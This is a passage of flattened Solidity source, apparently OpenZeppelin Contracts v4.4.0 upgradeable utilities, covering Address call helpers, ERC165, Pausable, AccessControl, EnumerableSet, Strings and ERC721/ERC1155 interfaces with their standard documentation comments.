(bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/IAccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; import "../IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. 